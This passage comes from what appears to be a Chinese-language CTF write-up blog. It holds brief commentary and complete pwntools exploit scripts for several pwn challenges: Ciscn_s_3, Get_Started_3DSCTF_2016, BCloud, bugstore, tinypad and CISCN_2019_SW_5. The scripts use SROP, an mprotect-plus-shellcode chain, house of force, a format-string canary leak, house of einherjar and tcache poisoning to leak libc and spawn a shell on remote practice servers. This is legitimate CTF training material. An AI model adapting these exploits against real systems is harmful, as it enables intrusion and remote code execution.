for i in range(0x40-2):
57
	add('FMYY',0x100,'FMYY')
58
edit(65,'FMYY',0x10,p64(one_gadget))
59
free(1)
60
p.interactive()

下载

程序 EXP LIBC

Ciscn_s_3

BUU上面的一题,SROP做,挺简单的,没有什么限制,可利用性很高

1
from pwn import*
2
context.log_level ='DEBUG'
3
syscall_ret = 0x400517
4
mov_rax_F = 0x4004DA
5
pop_rdi_ret= 0x4005A3
6
main = 0x40051D
7
p = process('./main')
8
p = remote('node3.buuoj.cn',26817)
9
elf = ELF('./main',checksec=False)
10
libc = ELF('./libc-2.27.so',checksec=False)
11
payload_I = '\x00'*0x10 + p64(main)
12
13
p.send(payload_I)
14
p.recvuntil(p64(0x400536))
15
stack = u64(p.recv(6).ljust(8,'\x00'))
16
log.info('Stack:\t' + hex(stack))
17
#------------------------
18
fake_frame  = p64(0) * 12
19
fake_frame += p64(1)							# RDI = RAX
20
fake_frame += p64(0x601018)						# RSI
21
fake_frame += p64(0)							# RBP
22
fake_frame += p64(0)							# RBX
23
fake_frame += p64(0x100)						# RDX
24
fake_frame += p64(1)							# RAX
25
fake_frame += p64(0)							# RCX
26
fake_frame += p64(stack - 0x20)					# RSP
27
fake_frame += p64(syscall_ret)					# RIP
28
fake_frame += p64(0)							# eflags
29
fake_frame += p64(0x33)							# cs : gs : fs
30
fake_frame += p64(0) * 7
31
32
payload_II  = '\x00'*0x10 + p64(mov_rax_F)  + p64(syscall_ret) + p64(0) + fake_frame
33
payload_II += p64(main)
34
p.send(payload_II)
35
libc_base =u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__libc_start_main']
36
log.info('LIBC:\t' + hex(libc_base))
37
binsh = libc_base + libc.search('/bin/sh').next()
38
system = libc_base + libc.sym['system']
39
rce = libc_base + 0x4F322
40
#------------------------
41
#p.send('\x00'*0x10 + p64(pop_rdi_ret) + p64(binsh) + p64(system))
42
p.send('\x00'*0x10 + p64(rce))
43
p.interactive()

下载

程序 EXP LIBC

Get_Started_3DSCTF_2016

这个题感觉有必要写一写,平常做题就没遇到用mprotect的时候,这算是用的第一次吧,而且平常不刷BUU,突然有心情去刷,发现好多都不会,比如这个一分题,赶不上其他师傅的思路,自己想也就只能想到如何取得flag,其他师傅就不一样了,想的是如何getshell,所以我才这么菜
最简单的方法就是利用程序存在的函数打印flag,而这里也可以用mprotect令NX保护失效,从而执行布置在某段内存上的shellcode
mprotect的函数原型为:

1
#include <unistd.h>
2
#include <sys/mmap.h>
3
int mprotect(const void *start, size_t len, int prot);
  1. 自start起len个长度的空间设为prot的值
  2. 因为内存翻页机制,故start指针需为某页的起始位置,且len为页大小的整数倍
  3. 在Linux系统中,rwx对应三个bit位,二进制’111’,十进制7即rwx均存在
1
from pwn import *
2
p = remote('node3.buuoj.cn',27480)
3
#p = process('./main')
4
context.log_level = 'DEBUG'
5
6
mprotect = 0x0806EC80
7
buf = 0x80EC000
8
read = 0x0806E140
9
10
# mprotect -> read ->ret2buf
11
payload = '\x00'*0x38
12
payload += p32(mprotect)
13
payload += p32(0x0804F460) #here it will pop 12bytes garbage content to execute read
14
payload += p32(buf)
15
payload += p32(0x1000)
16
payload += p32(0x7)
17
payload += p32(read)
18
payload += p32(buf)
19
payload += p32(0)
20
payload += p32(buf)
21
payload += p32(0x100)
22
p.sendline(payload)
23
24
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
25
p.sendline(shellcode)
26
sleep(0.1)
27
p.interactive()

下载

MAIN EXP

BCTF_2016_BCloud

houseofforce的简单应用,洞在最开始的地方,没有\x00截断就可以一直复制信息覆盖topchunk的size域

1
from pwn import*
2
context.log_level ='DEBUG'
3
def welc():
4
	p.sendafter('name:','U'*0x3C + 'FMYY')
5
	p.recvuntil('FMYY')
6
	heap_base = u32(p.recvuntil('!',drop=True).ljust(4,'\x00'))
7
	p.sendafter('Org:','\xFF'*0x40)
8
	p.sendafter('Host:','\xFF'*0x40)
9
	return heap_base
10
def new(size,content):
11
	p.sendlineafter('option--->>','1')
12
	p.sendlineafter('Input the length of the note content:\n',str(size))
13
	p.sendlineafter('Input the content:\n',content)
14
def edit(idx,content):
15
	p.sendlineafter('option--->>','3')
16
	p.sendlineafter('id:',str(idx))
17
	p.sendlineafter('content:',content)
18
def free(idx):
19
	p.sendlineafter('option--->>','4')
20
	p.sendlineafter('id:',str(idx))
21
p = process('./main')
22
elf = ELF('./main')
23
libc =ELF('./libc-2.23.so',checksec=False)
24
p = remote('node3.buuoj.cn',27268)
25
heap_base = welc() - 8
26
log.info('HAEP:\t' + hex(heap_base))
27
top_chunk = heap_base + 0x48*3 + 8
28
target = 0x804B120 - 0x80 - top_chunk - 8
29
new(target,'FMYY')
30
new(0x78,p32(0x200)*8)
31
new(0x200,p32(elf.got['atoi']) + p32(elf.got['free']) + p32(elf.got['atoi']))
32
edit(1,p32(elf.plt['puts']))
33
free(0)
34
libc_base = u32(p.recvuntil('\xF7')[-4:]) - libc.sym['atoi']
35
system = libc_base + libc.sym['system']
36
edit(2,p32(system))
37
p.sendafter('option--->>','/bin/sh\x00')
38
p.interactive()

程序 EXP LIBC

BCTF_2018_bugstore

太菜了,格式化字符串能打印TLS结构附近的地址,算到Canary的位置即可

1
from pwn import*
2
p = remote('node3.buuoj.cn',29267)
3
libc = ELF('./libc-2.27.so',checksec=False)
4
p.sendlineafter('choice: ','F')
5
context.log_level ='DEBUG'
6
p.sendline('%p%p%pTLS:%pO%pPIE:%pJ%pCanary:%pK%pLIBC:%pL')
7
p.recvuntil('TLS:')
8
mod_tls = int(p.recvuntil('O',drop=True),16) + 0x28
9
p.recvuntil('PIE:')
10
pie = int(p.recvuntil('J',drop=True),16) - 0xDD8
11
p.recvuntil('Canary:')
12
canary = int(p.recvuntil('K',drop=True),16)
13
p.recvuntil('LIBC:')
14
libc_base = int(p.recvuntil('L',drop=True),16) - 231 - libc.sym['__libc_start_main']
15
log.info('PIE:\t' + hex(pie))
16
log.info('Canary:\t' + hex(canary))
17
log.info('LIBC:\t' + hex(libc_base))
18
rce = libc_base + 0x4F322
19
p.sendlineafter('choice: ','A')
20
p.sendline(str(mod_tls))
21
p.sendlineafter('choice: ','S')
22
p.sendline('U'*0x28 + p64(0x45524F5453475542) + 'U'*8 + p64(rce))
23
p.interactive()

程序 EXP LIBC

2016_Seccon_tinypad

就CTFwiki上面house of einherjar的一个例子,把ctfwki上面的exp拿来改了改,对我而言比较一目了然而已
类似于shrink chunk,会因为inuse=0,以及通过presize确定范围,从而与上方的chunk合并,然后就是和house of force差不多的利用了

1
from pwn import *
2
def new(size, content):
3
    p.sendlineafter('(CMD)>>> ','A')
4
    p.sendlineafter('(SIZE)>>> ',str(size))
5
    p.sendlineafter('(CONTENT)>>> ',content)
6
7
def edit(idx, content):
8
    p.sendlineafter('(CMD)>>> ','E')
9
    p.sendlineafter('(INDEX)>>> ',str(idx))
10
    p.sendlineafter('(CONTENT)>>> ',content)
11
    p.sendlineafter('Is it OK?\n','Y')
12
13
def free(idx):
14
    p.sendlineafter('(CMD)>>> ','D')
15
    p.sendlineafter('(INDEX)>>> ',str(idx))
16
def exploit():
17
    new(0x30,'FMYY')
18
    new(0x30,'FMYY')
19
    new(0x100,'FMYY')
20
    #leak the heap_base
21
    free(2)
22
    free(1)
23
    p.recvuntil(' # CONTENT: ')
24
    heap_base = u64(p.recvuntil('\n',drop=True).ljust(8, '\x00')) - 0x40
25
    log.info('HEAP:\t' + hex(heap_base))
26
    #leak the libc_base
27
    free(3)
28
    p.recvuntil(' # CONTENT: ')
29
    main_arena = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00')) - 88
30
    libc_base = main_arena - libc.sym['__malloc_hook'] - 0x10
31
    log.info('M_Arena:\t' + hex(main_arena))
32
    log.info('LIBC:\t' + hex(libc_base))
33
34
    new(0x18,  'U'* 0x18)
35
    new(0xF0 , 'U'*0xF0 )
36
    new(0x100, 'U'*0x100)
37
    new(0x100, 'U'*0x100)
38
    edit(2, 'U' * 0x20 + p64(0) + p64(0x101) + p64(0x602060)*2)
39
40
    off = p64(heap_base + 0x20 - 0x602060)
41
    off_s = off.strip('\x00')
42
    length = len(off) - len(off_s)
43
    for i in range(length + 1):
44
        data = off_s.rjust(0x18 - i, 'F')
45
        edit(1, data)
46
    free(2)
47
    edit(4, 'U' * 0x20 + p64(0) + p64(0x101) + p64(main_arena)*2)
48
49
    rce = libc_base + 0x45216
50
    environ = libc_base + libc.sym['__environ']
51
    new(0x100 - 8, 'U'*0xD0 + p64(0x10) + p64(environ) + p64(0x20) + p64(0x602148))
52
    p.recvuntil(' # CONTENT: ')
53
    stack = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00'))
54
    log.info('Stack:\t' + hex(stack))
55
    ret_address = stack - 240
56
    edit(2,p64(ret_address))
57
    edit(1,p64(rce))
58
    p.sendlineafter('(CMD)>>> ','Q')
59
    p.interactive()
60
61
62
if __name__ == "__main__":
63
    p = process('./tinypad')
64
    libc =ELF('./libc-2.23.so')
65
    exploit()

程序 EXP LIBC

CISCN_2019_SW_5

攻击tcache_header,即可实现任意写,然后布置好一些参数即可令0x80链表循环

1
from pwn import*
2
def new(title,content):
3
	p.sendlineafter('>>','1')
4
	p.sendafter('title:\n',title)
5
	p.sendafter('content:\n',content)
6
def free(index):
7
	p.sendlineafter('>>','2')
8
	p.sendlineafter('index:',str(index))
9
p = process('./main')
10
p = remote('node3.buuoj.cn',28254)
11
libc =ELF('./libc-2.27.so',checksec=False)
12
context.log_level ='DEBUG'
13
new('FMYY','\n')
14
new('FMYY','\n')
15
new('FMYY','\x00'*0x10 + p64(0x61))
16
free(0)
17
free(0)
18
new('\x18\x70','FMYY')
19
heap_base = u64(p.recv(6).ljust(8,'\x00'))- 0x18
20
log.info('HEAP:\t' + hex(heap_base))
21
22
new('FMYY',p64(0) + p64(heap_base + 0x80) + p64(0x101) + p64(heap_base + 0x18)*2)
23
24
new(p64(0x7000000000000),'\x00'*0x60 + p64(heap_base + 0x250 + 0x30))
25
new('FMYY','FMYY')
26
free(6)
27
new(p64(0x7000000000000),'\x00'*0x60 + p64(heap_base + 0x250 + 0x20))
28
new('FMYY','SSSSFMYY')
29
p.recvuntil('SSSSFMYY')
30
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 0x60
31
log.info('LIBC:\t' + hex(libc_base))
32
malloc_hook = libc_base + libc.sym['__malloc_hook']
33
rce = libc_base + 0x10A38C
34
new(p64(malloc_hook),'FAKE')
35
new(p64(rce),'GETSHELL')
36
p.sendlineafter('>>','1')
37
p.interactive()

程序 EXP LIBC

Contents
  1. 1. Use-After-Free
    1. 1.1. 题目分析
    2. 1.2. 利用
    3. 1.3. 下载
  2. 2. Stack2
    1. 2.1. 分析
    2. 2.2. 问题与解决方案
    3. 2.3. 利用
  3. 3. ROP_Pwn
    1. 3.1. EXP
    2. 3.2. 下载
  4. 4. 4-ReeHY-main-100 From XCTF
    1. 4.1. 下载
  5. 5. Note3 From CGCTF
    1. 5.1. 下载
  6. 6. Pwn_Me_100_3 From NCTF2019
    1. 6.1. 下载
  7. 7. babyfengshui From XCTF
    1. 7.1. 下载
  8. 8. easy_heap From NCTF
    1. 8.1. 下载
  9. 9. Supermarket From XCTF
    1. 9.1. 下载
  10. 10. Noleak
    1. 10.1. 下载
  11. 11. Recho
    1. 11.1. 下载
  12. 12. Unary
    1. 12.1. 下载
  13. 13. echo_back
    1. 13.1. 下载
  14. 14. easyfmt
    1. 14.1. 下载
  15. 15. new_chall
    1. 15.1. 下载
  16. 16. EasyPwn
    1. 16.1. 下载
  17. 17. 1000levevls
    1. 17.1. 下载
  18. 18. HMI流水灯
    1. 18.1. 下载
  19. 19. hacknote
    1. 19.1. 下载
  20. 20. notepad
    1. 20.1. 下载
  21. 21. Ciscn_s_3
    1. 21.1. 下载
  22. 22. Get_Started_3DSCTF_2016
    1. 22.1. 下载
  23. 23. BCTF_2016_BCloud
  24. 24. BCTF_2018_bugstore
  25. 25. 2016_Seccon_tinypad
  26. 26. CISCN_2019_SW_5
|